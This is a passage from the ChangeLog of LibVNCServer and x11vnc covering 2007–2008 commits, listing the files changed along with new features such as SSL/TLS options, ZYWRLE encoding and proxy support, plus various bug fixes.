3443	  SSVNC_PREDIGESTED_HANDSHAKE SSVNC_SKIP_RFB_PROTOCOL_VERSION,
3444	SSVNC_SET_SECURITY_TYPE, etc hacks.
3445
34462008-11-22  runge <runge>
3447
3448	* x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
3449	x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c,
3450	x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
3451	x11vnc/params.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
3452	x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
3453	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
3454	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c,
3455	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop,
3456	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
3457	x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xrecord.c,
3458	x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: x11vnc.desktop file.
3459	  -reopen, -dhparams, -sslCRL, -setdefer options. -rfbport PROMPT
3460	  VeNCrypt and TLSVNC SSL/TLS encryption support.  Tweaks to
3461	  choose_delay() algorithm.  -ssl ANON anonymouse Diffie-Hellman mode.
3462	  Fix bugs in certs management.  Additions to tray=setpass naive user
3463	mode.
3464
34652008-11-05  runge <runge>
3466
3467	* x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c,
3468	x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/help.c,
3469	x11vnc/macosxCG.c, x11vnc/rates.c, x11vnc/remote.c,
3470	x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c,
3471	x11vnc/ssltools.h, x11vnc/userinput.c, x11vnc/x11vnc.1,
3472	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
3473	x11vnc/xevents.c: x11vnc: add zeroconf external helpers
3474	(avahi-publish and dns-sd).  Alias -zeroconf.  Close pipeinput_fh on
3475	exit.  Kludge to make -solid work on MacOSX console.  Attempt at cpp
3476	macros to disable newer libvncserver interfaces.
3477
34782008-11-05  runge <runge>
3479
3480	* configure.ac: Tweak messages.  Add shmat for --without-x building.
3481
34822008-10-30  runge <runge>
3483
3484	* x11vnc/misc/enhanced_tightvnc_viewer/README,
3485	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3486	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3487	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3488	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3489	ll.patch: synchronize ssvnc
3490
34912008-10-29  runge <runge>
3492
3493	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
3494	x11vnc/help.c, x11vnc/nox11.h, x11vnc/remote.c, x11vnc/screen.c,
3495	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
3496	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc:
3497	-http_oneport for single port HTTP and VNC. Improve find_display wrt
3498	lsof blocking with -b.
3499
35002008-10-19  runge <runge>
3501
3502	*
3503	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
3504	viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3505	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3506	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3507	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3508	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
3509	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3510	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3511	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3512	ll.patch: Sync SSVNC changes: fullscreen fixes, local scaling,
3513	-chatonly, iso-8859-1/utf8 etc., etc.
3514
35152008-10-19  runge <runge>
3516
3517	* classes/ssl/ss_vncviewer,
3518	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Update ssl VNC
3519	viewer jars and patch file.
3520
35212008-10-19  runge <runge>
3522
3523	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
3524	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h,
3525	x11vnc/cursor.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
3526	x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h,
3527	x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
3528	x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c,
3529	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
3530	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3531	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
3532	x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrandr.h,
3533	x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc:
3534	-chatwindow, -scale WxH, -enc changes.
3535
35362008-09-21  runge <runge>
3537
3538	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am,
3539	x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
3540	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
3541	x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc,
3542	x11vnc/tkx11vnc.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3543	x11vnc/x11vnc_defs.c: x11vnc: Add symmetric key encryption -enc
3544	cipher:keyfile, works with SSVNC.  Make -remap work on MacOSX
3545	console.  update to 0.9.5 strings.  Add a couple menu items to
3546	tkx11vnc.
3547
35482008-09-17  runge <runge>
3549
3550	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3551	x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1,
3552	x11vnc/x11vnc_defs.c: x11vnc: make -allow work in -ssl mode.
3553
35542008-09-14  runge <runge>
3555
3556	* classes/ssl/ss_vncviewer,
3557	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3558	x11vnc/ChangeLog, x11vnc/README, x11vnc/gui.c, x11vnc/help.c,
3559	x11vnc/misc/enhanced_tightvnc_viewer/README,
3560	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3561	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3562	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3563	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3564	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3565	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3566	ll.patch, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
3567	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c,
3568	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
3569	-sleepin m-n for random sleep. More mktemp and mkstemp protections.
3570	SSL_INIT_TIMEOUT=n env. var.  Fix macosx console X call bug.
3571	Synchronize other projects sources.
3572
35732008-09-07  runge <runge>
3574
3575	* classes/ssl/ss_vncviewer,
3576	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/8to24.c,
3577	x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3578	x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/keyboard.c,
3579	x11vnc/macosxCG.c, x11vnc/macosxCG.h,
3580	x11vnc/misc/enhanced_tightvnc_viewer/README,
3581	x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat,
3582	x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat,
3583	x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc,
3584	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3585	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3586	x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc,
3587	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3588	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3589	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
3590	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3591	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3592	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
3593	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3594	ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
3595	x11vnc/remote.c, x11vnc/solid.c, x11vnc/ssltools.h,
3596	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3597	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3598	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
3599	x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h: x11vnc: kill
3600	   gui_pid on exit in -connect/-connect_or_exit mode.  -grablocal n
3601	   experiment (not compiled by default).  -macuskbd option for macosx
3602	   for orig uskdb code. keycode=N remote contol cmd.  Find dpy look at
3603	   non-NFS cookies in /tmp.  Fix gui tray insertion on recent gnome dt.
3604	Fix connect_file bug. Sync SSVNC
3605
36062008-06-24  runge <runge>
3607
3608	* libvncserver/rfbserver.c: We seem to need to guard against freeing
3609	iterator 'i' twice in rfbSendFramebufferUpdate()  (italc reported
3610	bug)
3611
36122008-06-07  runge <runge>
3613
3614	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/unixpw.c,
3615	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
3616	x11vnc/xinerama.c: x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM
3617	          for HP-UX.  Print info on SSH_CONNECTION override.
3618
36192008-06-03  dscho <dscho>
3620
3621	* ChangeLog, client_examples/SDLvncviewer.c: SDLvncviewer: update
3622	screen correctly after a resize Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3623
36242008-06-03  runge <runge>
3625
3626	* configure.ac: Enable --with-ssl=DIR option.
3627
36282008-06-01  runge <runge>
3629
3630	* x11vnc/README, x11vnc/options.c, x11vnc/options.h,
3631	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
3632	lower waitms and defer if framebuffer reads are fast (> 100MB/s)
3633
36342008-06-01  runge <runge>
3635
3636	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
3637	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
3638	x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h,
3639	x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c,
3640	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
3641	x11vnc/xinerama.c: x11vnc: support colormaps for depths other than
3642	8.  xinerama warppointer only if more than one subscreen.
3643
36442008-05-31  dscho <dscho>
3645
3646	* .gitignore: .gitignore: ignore also temporary editor files Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3647
36482008-05-31  dscho <dscho>
3649
3650	* VisualNaCro/.gitignore: VisualNaCro: add .gitignore file Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3651
36522008-05-31  dscho <dscho>
3653
3654	* VisualNaCro/configure.ac: VisualNaCro: fix configure.ac There was a misunderstanding as to the workings of AC_CHECK_PROG().  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3655
36562008-05-31  dscho <dscho>
3657
3658	* TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3659
36602008-05-31  dscho <dscho>
3661
3662	* libvncserver-config.in: Fix libvncserver-config for in-place
3663	operation Since quite some time, the linkable libraries are stored in the
3664	.libs/ subdirectories.  Adjust libvncserver-config to account for
3665	that when running without installing.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3666
36672008-05-23  runge <runge>
3668
3669	* libvncserver/rfbserver.c: Handle colormaps with more than 256
3670	colors.
3671
36722008-05-13  dscho <dscho>
3673
3674	* examples/mac.c: examples/mac: disable the cursor We cannot write access the frame buffer, and we do not have a
3675	sensible cursor anyway, so better disable the cursor (which would
3676	have to be drawn for clients that do not support
3677	CursorShapeUpdates).  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3678
36792008-05-13  dscho <dscho>
3680
3681	* client_examples/SDLvncviewer.c: SDLvncviewer: add -viewonly Just like its siblings from other projects, SDLvncviewer now
3682	supports viewonly connections.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3683
36842008-05-12  runge <runge>
3685
3686	* x11vnc/README, x11vnc/help.c, x11vnc/selection.c,
3687	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
3688	x11vnc/x11vnc_defs.c: x11vnc: SSL fixes.  Increase cert lifetimes to
3689	2 years.  Print ssl err msg.
3690
36912008-05-12  runge <runge>
3692
3693	* configure.ac: Add X509_print_ex_fp check for x11vnc.
3694
36952008-05-12  runge <runge>
3696
3697	* x11vnc/misc/enhanced_tightvnc_viewer/README,
3698	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
3699	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3700	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3701	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3702	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3703	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3704	ll.patch: Many improvement to the frontend and unix viewer.
3705	UltraVNC proxy support, and other proxy improvements.
3706
37072008-05-08  runge <runge>
3708
3709	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3710	x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/scan.c,
3711	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
3712	x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3713	x11vnc/x11vnc_defs.c: x11vnc: add UltraVNC repeater proxy support.
3714	        fix to setp gui mode. -threads is now strongly discouraged.  Read
3715	        PORT= in url.  User can set nolisten for Xvfb in -create mode.
3716	        clean up wait_for_client() to some degree.
3717
37182008-05-08  runge <runge>
3719
3720	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3721	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add check for
3722	"https" to viewers.  update jars.
3723
37242008-04-28  dscho <dscho>
3725
3726	* rfb/rfbclient.h: Fix compilation in the absence of libjpeg The JPEG library is not necessarily installed everywhere, and
3727	sometimes it is outright undesirable to compile with JPEG support,
3728	e.g. when the server is not very fast.  So fix the compilation for
3729	that case.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3730
37312008-03-21  dscho <dscho>
3732
3733	* TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3734
37352008-02-18  dscho <dscho>
3736
3737	* ChangeLog, libvncserver/rfbregion.c: Please MS Visual C++ a bit
3738	(Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3739
37402008-02-18  runge <runge>
3741
3742	* classes/ssl/ss_vncviewer, x11vnc/README: Update ssl jars.
3743
37442008-02-18  runge <runge>
3745
3746	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: changes for
3747	release
3748
37492008-02-18  runge <runge>
3750
3751	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3752	x11vnc/x11vnc_defs.c: minor date changes.
3753
37542008-02-18  runge <runge>
3755
3756	* x11vnc/misc/enhanced_tightvnc_viewer/README,
3757	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3758	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3759	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3760	ll.patch: ssvnc sync with zywrle support and improvements to popup.
3761
37622008-02-04  dscho <dscho>
3763
3764	* ChangeLog, libvncclient/rfbproto.c, libvncclient/zrle.c: ZYWRLE
3765	patch for libvncclient (thanks Noriaki Yamazaki) Highlite:  * use qualityLevel/zlib_buffer. No new variable is needed.   * Change coding style to recursive fashion.   * Change meaning of qualityLevel== 9 for easy calc zywrle_level:      old:zywrle_level== 1      new:disable ZYWRLE(same as ZRLE)    so, we should not use this value for compatible reason.   * Color mode handling isn't complete.     I provided and checked 16 bit colors(RGB555,RGB565) and    some color mode of 32 bit colors for little endian mode.     we must make and check 24 bit colors and big endian mode.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3766
37672008-02-04  dscho <dscho>
3768
3769	* ChangeLog, libvncserver/zywrletemplate.c: Fix ZYWRLE en/decoding
3770	for width != scanline (thanks Noriaki Yamazaki) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3771
37722008-02-03  runge <runge>
3773
3774	* libvncserver/stats.c: Add ZYWRLE to server printout.
3775
37762008-02-02  dscho <dscho>
3777
3778	* ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
3779	button handling For some reason, I swapped buttons 2 and 3 on Dec 7, 2005, in commit
3780	"translate keys based on unicode (much more reliable than sym)".  I
3781	do not remember why, nor what I smoked, but this was wrong.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3782
37832008-02-02  dscho <dscho>
3784
3785	* TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
3786	Ctrl+<letter> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3787
37882008-02-02  dscho <dscho>
3789
3790	* TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
3791	translation of the Tab key Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3792
37932008-02-02  dscho <dscho>
3794
3795	* TODO: Updated TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3796
37972008-02-01  runge <runge>
3798
3799	* libvncserver/Makefile.am: Need to include zywrletemplate.c in
3800	Makefile.am
3801
38022008-02-01  runge <runge>
3803
3804	* classes/ssl/ss_vncviewer: sync java viewer.
3805
38062008-02-01  runge <runge>
3807
3808	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3809	x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README,
3810	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3811	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3812	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3813	ll.patch, x11vnc/rates.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
3814	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: during speeds
3815	estimate, guard against client disconnecting.
3816
38172008-01-31  dscho <dscho>
3818
3819	* libvncserver/rfbserver.c: Fix rfbSendSupportedEncodings There was a long standing TODO to make the counting of the supported
3820	encodings dynamic.  It never triggered, until ZYWRLE was added.  Noticed by Christian Ehrlicher.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3821
38222008-01-31  dscho <dscho>
3823
3824	* Makefile.am, configure.ac: Recurse into subdirectory x11vnc/ when
3825	configuring with --with-x11vnc Since we separated the packages LibVNCServer and x11vnc, there is a
3826	configure switch --with-x11vnc, without which x11vnc is not built.  However, even _with_ this switch, it is not built, because the
3827	Makefile would not recurse into the x11vnc/ subdirectory.  Fix that.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3828
38292008-01-31  dscho <dscho>
3830
3831	* libvncserver/rfbserver.c: Fix Swap16IfLE() on bytes When swapping the values for the colour table to little-endian
3832	(because they are 16-bit values), we need to cast "unsigned char" to
3833	"unsigned short"; otherwise, Microsoft's compiler would keep
3834	complaining.  Noticed by Christian Ehrlicher.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3835
38362008-01-31  dscho <dscho>
3837
3838	* libvncserver/rfbserver.c, rfb/rfb.h: Move tightQualityLevel out of
3839	the JPEG specific part The variable tightQualityLevel is used for ZYWRLE compression, too,
3840	so if libjpeg is not present, but libz is, we still need to have
3841	that struct member.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3842
38432008-01-30  dscho <dscho>
3844
3845	* libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h: 
3846	Make ZYWRLE thread-safe for multiple clients ZYWRLE used a static buffer, which does not work too well if you
3847	have more than one client in a threaded server.  Instead, we have
3848	the data in the client structure now.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3849
38502008-01-30  dscho <dscho>
3851
3852	* libvncserver/zrle.c, libvncserver/zywrletemplate.c: ZYWRLE brown
3853	paper bag fix While adjusting the coding style, three stupid mistakes happened.
3854	The quality is _not_ just 1, 2, 3, but really 1, 3, 2.  And the
3855	macros ZYWRLE_PACK_COEFF() and ZYWRLE_UNPACK_COEFF() expand to more
3856	than one statement, which means that we need curly brackets around
3857	them when they are in an if clause.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3858
38592008-01-29  dscho <dscho>
3860
3861	* TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3862
38632008-01-29  dscho <dscho>
3864
3865	* .gitignore: Add a .gitignore file At least one developer (me) uses git to work on local branches, and
3866	this file does not hurt.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3867
38682008-01-29  dscho <dscho>
3869
3870	* ChangeLog, libvncserver/rfbserver.c: Add missing #include <time.h>
3871	(thanks Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3872
38732008-01-29  dscho <dscho>
3874
3875	* AUTHORS, ChangeLog, libvncserver/rfbserver.c,
3876	libvncserver/scale.c, libvncserver/zrle.c,
3877	libvncserver/zrleencodetemplate.c, libvncserver/zywrletemplate.c,
3878	rfb/rfbproto.h: Add ZYWRLE server-side support (thanks Noriaki
3879	Yamazaki, Hitachi) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3880
38812008-01-29  dscho <dscho>
3882
3883	* AUTHORS, CMakeLists.txt, ChangeLog, configure.ac,
3884	rfb/rfbconfig.h.cmake, rfb/rfbint.h.cmake: Add CMake support (thanks
3885	to Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3886
38872008-01-15  runge <runge>
3888
3889	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
3890	x11vnc/options.h, x11vnc/scan.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3891	x11vnc/x11vnc_defs.c: x11vnc: -ping option, fix memory corruption in
3892	copy_tiles after xrandr resize.
3893
38942007-12-16  runge <runge>
3895
3896	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/gui.c,
3897	x11vnc/macosxCG.c, x11vnc/remote.c, x11vnc/tkx11vnc,
3898	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3899	x11vnc/x11vnc_defs.c: x11vnc: setup remote-ctrl file by default on
3900	        macosx. improve tkx11vnc wrt attaching to existing server in
3901	icon/tray mode.
3902
39032007-12-16  runge <runge>
3904
3905	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3906	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3907	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3908	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3909	ll.patch: Fixes for MacOSX 10.5.  Improve usage of x11 viewer on
3910	macosx.
3911
39122007-12-16  runge <runge>
3913
3914	* x11vnc/ChangeLog, x11vnc/README, x11vnc/keyboard.c,
3915	x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/ssltools.h,
3916	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix
3917	find_display and usleep() prototype on macosx.  -display console and
3918	check DISPLAY /tmp/...:0 on macosx.  implement -noxinerama.
3919
39202007-11-13  runge <runge>
3921
3922	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
3923	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c,
3924	x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3925	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add
3926	clear_locks (Caps_Lock, etc) action.
3927
39282007-10-27  runge <runge>
3929
3930	* x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
3931	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3932	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3933	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc
3934	sync: connect_br.tcl socks4/5 http proxies, ss_vncviewer socks5
3935	proxy. ssh 1st proxy. whatismyip.com fix. 127.0.0.1 on Darwin
3936
39372007-10-27  runge <runge>
3938
3939	* classes/ssl/ss_vncviewer: ssl java and ss_vncviewer (socks5) sync.
3940
39412007-10-27  runge <runge>
3942
3943	* prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
3944	x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
3945	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCGP.c,
3946	x11vnc/macosxCGS.c, x11vnc/options.c, x11vnc/options.h,
3947	x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c,
3948	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3949	x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c,
3950	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3951	x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: -proxy, -ssh
3952	options. ncache bug in -8to24, Selection "targets" bugfix.
3953
39542007-10-04  runge <runge>
3955
3956	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
3957	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3958	x11vnc/x11vnc_defs.c: x11vnc: add xfce to createdisplay
3959
39602007-09-26  runge <runge>
3961
3962	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3963	x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c,
3964	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
3965	x11vnc/x11vnc_defs.c: x11vnc: COLUMNS=256 and other fixes to
3966	find/create scripts. More ratecheck.
3967
39682007-09-17  dscho <dscho>
3969
3970	* libvncserver/rfbserver.c: Avoid misaligned access on 64-bit
3971	machines We used to assume that a char[256] is properly aligned to be cast to
3972	an rfbServerInitMsg, but that was not the case.  So use a union
3973	instead.  Noticed by Flavio Leitner.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3974
39752007-09-11  runge <runge>
3976
3977	* classes/ssl/ss_vncviewer,
3978	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3979	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update
3980	ss_vncviewer script, jars, and patch files.
3981
39822007-09-11  runge <runge>
3983
3984	* x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/README,
3985	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
3986	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3987	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3988	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc:
3989	          sshvnc ssh-only, tsvnc Terminal Services modes.  Improvements to
3990	          ss_vncviewer.  Automatically find X dpy and X login.  Reorganize
3991	menus a bit.  ~/.ssvncrc file.
3992
39932007-09-11  runge <runge>
3994
3995	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
3996	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
3997	x11vnc/options.c, x11vnc/options.h, x11vnc/screen.c,
3998	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
